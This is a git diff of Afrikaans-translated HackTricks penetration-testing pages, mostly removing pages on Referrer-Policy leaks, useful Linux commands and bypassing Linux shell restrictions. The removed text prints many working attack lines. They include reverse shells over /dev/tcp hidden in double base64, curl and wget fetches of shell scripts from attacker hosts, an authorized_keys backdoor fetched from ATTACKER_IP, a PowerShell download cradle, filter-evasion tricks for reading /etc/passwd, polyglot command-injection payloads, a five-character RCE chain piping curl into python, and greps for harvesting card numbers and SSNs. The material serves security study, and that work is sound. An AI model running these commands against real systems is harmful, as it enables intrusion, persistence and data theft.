|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
'n Oopbronprojek van OWASP, Threat Dragon is beide 'n web- en desktoptoepassing wat stelseldiagrammering insluit sowel as 'n reël-enjin om bedreigings/mitigasies outomaties te genereer.
|
||||
'n Oopbronprojek van OWASP, Threat Dragon is beide 'n web- en desktoptoepassing wat stelseldiagrammering insluit sowel as 'n reël enjin om bedreigings/mitigasies outomaties te genereer.
|
||||
|
||||
**Gebruik**
|
||||
|
||||
@ -81,9 +83,9 @@ Jy kan gereedskap soos SpiderSuite Crawler gebruik om jou inspirasie te gee, 'n
|
||||
Net 'n bietjie verduideliking oor die entiteite:
|
||||
|
||||
- Proses (Die entiteit self soos Webbediener of web funksionaliteit)
|
||||
- Akteur ( 'n Persoon soos 'n Webwerf Besoeker, Gebruiker of Administrateur)
|
||||
- Akteur (‘n Persoon soos 'n Webwerf Besoeker, Gebruiker of Administrateur)
|
||||
- Data Vloei Lyn (Aanduiding van Interaksie)
|
||||
- Vertroue Grens (Verskillende netwerksegmente of skope.)
|
||||
- Vertroue Grens (Verskillende netwerksegmente of -omgewings.)
|
||||
- Stoor (Dinge waar data gestoor word soos Databasisse)
|
||||
|
||||
5. Skep 'n Bedreiging (Stap 1)
|
||||
@ -108,4 +110,7 @@ Nou moet jou voltooide model iets soos hierdie lyk. En dit is hoe jy 'n eenvoudi
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Dit is 'n gratis gereedskap van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit gebruik die STRIDE metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.
|
||||
Dit is 'n gratis hulpmiddel van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit gebruik die STRIDE metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
Binary file not shown.
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 16 KiB |
@ -1,35 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Verwysingskoppe en beleid
|
||||
|
||||
Verwysing is die kop wat deur blaaiers gebruik word om aan te dui watter die vorige bladsy was wat besoek is.
|
||||
|
||||
## Sensitiewe inligting gelekt
|
||||
|
||||
As daar op 'n stadium binne 'n webblad enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat besoek 'n URL wat deur die aanvaller beheer word (sosiale ingenieurswese). Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek te eksfiltreer.
|
||||
|
||||
## Versagting
|
||||
|
||||
Jy kan die blaier laat volg 'n **Verwysingsbeleid** wat die sensitiewe inligting kan **verhoed** om na ander webtoepassings gestuur te word:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
Referrer-Policy: origin
|
||||
Referrer-Policy: origin-when-cross-origin
|
||||
Referrer-Policy: same-origin
|
||||
Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## Teen-Mitigering
|
||||
|
||||
Jy kan hierdie reël oorskry deur 'n HTML meta-tag te gebruik (die aanvaller moet 'n HTML-inspuiting benut):
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Verdediging
|
||||
|
||||
Plaas nooit enige sensitiewe data in GET parameters of pades in die URL nie.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,297 +0,0 @@
|
||||
# Nuttige Linux Opdragte
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Algemene Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
## Bash vir Windows
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Vind
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
||||
# Find SGID set files.
|
||||
find / -perm /g=s -ls 2>/dev/null
|
||||
|
||||
# Found Readable directory and sort by time. (depth = 4)
|
||||
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Writable directory and sort by time. (depth = 10)
|
||||
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Newer files and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer files only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap soek hulp
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,319 +0,0 @@
|
||||
# Bypass Linux Restrictions
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Algemene Beperkings Omseilings
|
||||
|
||||
### Terugkeer Skulp
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kort Rev shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Bypass Paaie en verbode woorde
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Om verbode spaties te omseil
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Bypass backslash en slash
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Bypass pype
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass met hex-kodering
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Bypass IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Tydgebaseerde data-uitvoer
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Kry karakters uit Omgewing Veranderlikes
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS data exfiltration
|
||||
|
||||
Jy kan **burpcollab** of [**pingb**](http://pingb.in) gebruik, byvoorbeeld.
|
||||
|
||||
### Builtins
|
||||
|
||||
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel builtins om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik **sal jy nie al die** **builtins** kan gebruik nie, so jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
|
||||
Eerstens, kyk na al die [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Dan het jy hier 'n paar **aanbevelings**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Polyglot-opdrag-inspuiting
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Om potensiële regexes te omseil
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE met 5 karakters
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
